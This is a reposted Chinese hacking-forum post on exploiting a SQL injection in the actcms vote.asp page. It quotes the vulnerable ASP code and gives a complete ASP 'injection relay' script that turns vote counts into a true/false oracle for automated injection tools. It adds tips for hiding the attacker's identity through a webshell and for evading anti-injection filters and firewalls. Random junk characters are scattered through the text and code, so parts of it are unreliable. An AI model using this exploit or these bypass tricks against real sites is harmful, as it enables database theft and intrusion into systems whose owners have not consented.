注入中转的高级应用，actcms漏洞以及其他

admin

- Q' m5 y, c: `" v* y看到ninty大牛的blog的一篇文章
. N8 j. w( S8 u; g3 V链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
% w7 D, s+ z& t; ]2 i' z, N5 y转载请注明以上
漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
1 j, c  o  c$ ?/ ^+ m" F* d8 `
. o/ J* F) _. Y2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
1 I! ?/ m7 U/ @6 E, V4 ~+ ?( ~+ P
3    response.end   
( q3 Y. M9 |6 e1 C: H) x% w: c
4    end if   

5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

% e; k6 ^4 D" i- s1 ~  v8....   
5 {- M$ f+ Q& E4 x! l
9response.Redirect "index.asp?id="&id&""   
4 U$ ?, C+ V* a" q* {$ X" O投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
: C+ T# A/ D; E' U6 }            失败票数不变
如图：
' U1 g% e+ R. C/ A1 G$ xhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
7 A" ?) Z# A+ ]: a5 A9 u6 T
8 Z) G, N2 t8 H( p. ]! r2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
" {$ G, c* c; Z$ `+ J
本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
# w" U4 g, L! G( K* S注入地址：http://localhost/actcms/plus/vote/vote.asp
; ]# H/ C3 l% m注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
! Y% S% x4 z; F+ N: A
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
8 f+ S& c+ k! b/ b; |# C
+ g# L2 ]' }- y04JmStr="id=1&voted=-1 or 1="&JmdcwName

: W! o- {1 F( _, t, {( o6 F05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 D8 |0 R: x1 A* A$ A: H
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

: ^& A, b9 _4 ?  I" k/ w0 h08testurl=testurl & "?" & JmStr

" N5 {1 [- l& }09JMUrl=JMUrl & "?" & JmStr

5 C6 o3 t4 l7 b& E0 l8 u10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

( G* }: ~1 W9 l2 q: P  ?11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! u9 q6 }$ Y3 o% p2 b9 n3 K* I  O
16  
7 y$ u/ N2 k5 G( x$ p
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
$ |" X0 i& J: c  t" \7 @# Q
18response.write test1&""&test2&""
8 T' j) m/ ]( E" C
19  

20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"
( r7 c4 ~) ?3 U9 A. U1 B) M
7 ?* H* p' K6 T" ?- U) I22else
. t& U2 ?' h7 r- C! s1 e
23  response.write "succeed"

24end if  
% i* j2 k! b  c; x! x
& P1 t; z. ~" S  ~+ h7 U% ]25  

3 I0 o' s# R' ^2 \' A0 z! k  r26response.write "by 3x"

* `  A6 \* r2 p7 N- N$ a27  
& e+ @" @3 Q% s% b, k0 C
3 P  d- ?- N: N3 N8 J1 S, ^28  
2 i( {+ q- a% t% W3 |" F
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
5 _: |, V( F7 i6 |( m4 p
9 g& x: Y7 @( m: e9 P  @% N30Dim Http
' a1 ]0 ?2 g% T. w6 T9 F
% g9 A8 H* o4 l31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

32With Http

33  

9 |$ D; |) Q. X1 L* v% X4 x# F34.Open "GET",PostUrl,False

- N* y) [$ F+ V1 ]: j3 H& g35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

% y& t" E. F- q1 }( ~, Y36.SetRequestHeader "Referer",PostRef

4 q$ T7 ~1 }/ R; e: C37.SetRequestHeader "Cookie",PostCok

: r6 c, X0 q4 V/ p& Z) K38.Send ()
/ f6 e5 t$ m) \; `* r
( P+ s, |: ^, [) W' e- O39PostData = .ResponseBody

8 @. p1 b; p( ~! W7 b40End With

$ ~5 c/ a7 c; h. K8 z2 q41Set Http = Nothing
0 F, O" f, e, U
# n2 W3 l# R! U2 N& M) L42PostData =bytes2BSTR(PostData)

! O$ ?4 d7 v+ l$ K0 _$ I( k$ u9 m( u43End Function

44  

) _8 }. I/ A9 x+ t. O45  

, I; ~, M& z9 T/ k0 j46Function bytes2BSTR(vIn)

47Dim strReturn
5 ^% W- w2 }& s! A6 F8 }
48Dim I, ThisCharCode, NextCharCode

# i( ?$ h, b  j" W8 ?& u! L4 w49strReturn = ""
# f0 n6 O( W1 f8 o
9 i" c% K% }5 E# L* j3 T: y50For I = 1 To LenB(vIn)
, p1 h, ~! n! M% X( e
51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

5 q) m7 [4 `, C0 c' Q0 A53strReturn = strReturn & Chr(ThisCharCode)

54Else
6 s& k% |" q% [6 S) r4 k; [4 U. w7 f
& O- v" ?3 t" ]3 d55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' }, a. ?6 S$ s+ _/ l" D
/ V) L( j$ O" O- y+ P56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

* t+ f# }% L: U57I = I + 1

9 G$ m  O* m  h. I3 j58End If

8 `! ^% \. }. L9 j5 \59Next
: I6 n" y6 o6 a3 K2 U- M+ k& V
  @" k, S$ o2 s2 @( Q% k/ T- d1 Q! {60bytes2BSTR = strReturn

61End Function

1 ~+ [* D# _8 u( @& D62  
9 P* v% C8 m  U! z  ~
63Function URLEncoding(vstrin)  
5 E( h& ~- w8 k# o* D
64strReturn=""
5 ^5 k$ B) z5 W2 F: h7 D
9 n( P6 Z+ M9 Q$ y65Dim i

9 v- P  S" L+ A; u6 w66For i=1 To Len(vstrin)
8 M7 \/ J6 v( x) ^' _' x/ N
' q, V( `& u" Q67ThisChr=Mid(vstrin,i,1)

; N% B& U4 C  T) o  J68if Abs(Asc(ThisChr))< &HFF Then
  D' ?# C9 t' I/ W( Y  O9 U
: H+ n& |2 U0 l& d, p69strReturn=strReturn & ThisChr
4 H+ l6 y7 n, Y: O2 X# O
& g, O$ ?9 [, i9 @$ x, T% Y! n70Else
8 _1 S3 u6 T' ?4 r3 w. F
71InnerCode=Asc(ThisChr)
  |$ z, p8 T, `
72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

/ U/ m; F" k0 z+ z! N74End If
. i8 @5 P: f9 q( g. h: I
$ m! C  z1 D5 v9 P75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
$ N! k& O+ v0 \1 ]
+ |4 P7 g* Q4 {* @& I' z77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
3 E+ L. v% |# a" l9 ^. I+ G; a
" Q3 c3 J3 ?" L1 T78End if

/ L" e& S( w; A5 u. N79Next

1 K1 f) T6 v0 S$ u7 ?7 O80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
8 U, `7 d/ M, S7 E8 n  Z0 E
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

6 g* m' }" X" N) N83URLEncoding=strReturn
) H$ X" S7 G. m. y& w& ^: R% a
84End Function

85  
* m- o' H- x" c
86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
! Y9 n- R" H& t' n0 U8 J3 l
89  getSt=mid(body,startpot,endpot-startpot)

7 `$ L$ t# m- d# ?" b90end function

; ?3 u( E7 Y: R, n4 Y91%>
4 w- U3 J+ `: s注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
" c; Q5 N$ G& {; E( W测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
& i  L1 m: s$ \; Z( i; {
$ g6 P9 [( }" M! K" h, t- e2009-12-27 13:29
& b6 o2 ~- U0 u0 l/ S- v; E投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
# |- i9 X# o! d, ]( c-------------------------------------------------------------------------------
6 Y% b9 l$ |. A- v* N再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
5 H0 W8 n7 w- D; @6 c8 X
注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
- W& [& `2 K9 c2 J1 F7 V% E3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
/ a# v1 R) J1 [4 ]' S% F5 ?